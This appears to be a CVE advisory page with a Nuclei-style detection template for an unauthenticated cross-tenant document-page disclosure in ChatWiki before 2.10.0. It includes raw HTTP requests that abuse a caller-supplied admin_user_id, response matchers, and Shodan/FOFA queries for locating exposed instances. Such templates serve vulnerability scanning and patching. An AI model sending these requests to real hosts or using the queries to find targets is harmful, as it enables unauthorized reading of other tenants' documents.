CVE-2026-124027: ChatWiki < 2.10.0 - Cross-Tenant Document Page Disclosure

2026-11-14 PoC Public

Description

ChatWiki before 2.10.0 exposes /manage/getLibRawFileOnePage without authentication and trusts a caller-supplied admin_user_id, allowing document-page access across tenants.

Details

CVE
CVE-2026-124027 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-124027

info:
  name: ChatWiki < 2.10.0 - Cross-Tenant Document Page Disclosure
  author: maulanawirawan
  severity: high
  description: |
    ChatWiki before 2.10.0 exposes /manage/getLibRawFileOnePage without authentication and trusts a caller-supplied admin_user_id, allowing document-page access across tenants.
  impact: |
    An unauthenticated attacker can read other tenants' knowledge-base PDF pages when valid file IDs are supplied.
  remediation: |
    Upgrade ChatWiki to version 2.10.0 or later.
  reference:
    - https://github.com/zhimaAi/chatwiki/issues/181
    - https://nvd.nist.gov/vuln/detail/CVE-2026-124027
    - https://github.com/zhimaAi/chatwiki/commit/d1ca145e283e2cb652e0b1002d5f14d6a46671e3
    - https://github.com/zhimaAi/chatwiki/releases/tag/v2.10.0
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-124027
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 3
    vendor: zhimaai
    product: chatwiki
    shodan-query: 'http.title:"ChatWiki"'
    fofa-query: 'title="ChatWiki"'
  tags: cve,cve2026,chatwiki,disclosure,unauth,tenant-isolation

http:
  - raw:
      - |
        GET /manage/getLibFileInfo?id=2147483647 HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /manage/getLibRawFileOnePage?admin_user_id=1&id=2147483647&page=1 HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /manage/getLibRawFileOnePage HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 401 && contains(body_1, "\"res\":401")'
          - 'status_code_2 == 200 && status_code_3 == 200'
          - 'contains(body_2, "\"res\":1") && contains(body_3, "\"res\":1")'
          - 'body_2 != body_3'
        condition: and
# digest: 490a00463044022040fa4cdc78be4f898de146c61be30b81fd6f4834877fad4bdd2550623502765b0220654f093aa84f2874d5f9d5da59dea2bcfbfa2b8501951732f2e9bf2d0697f0b2:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life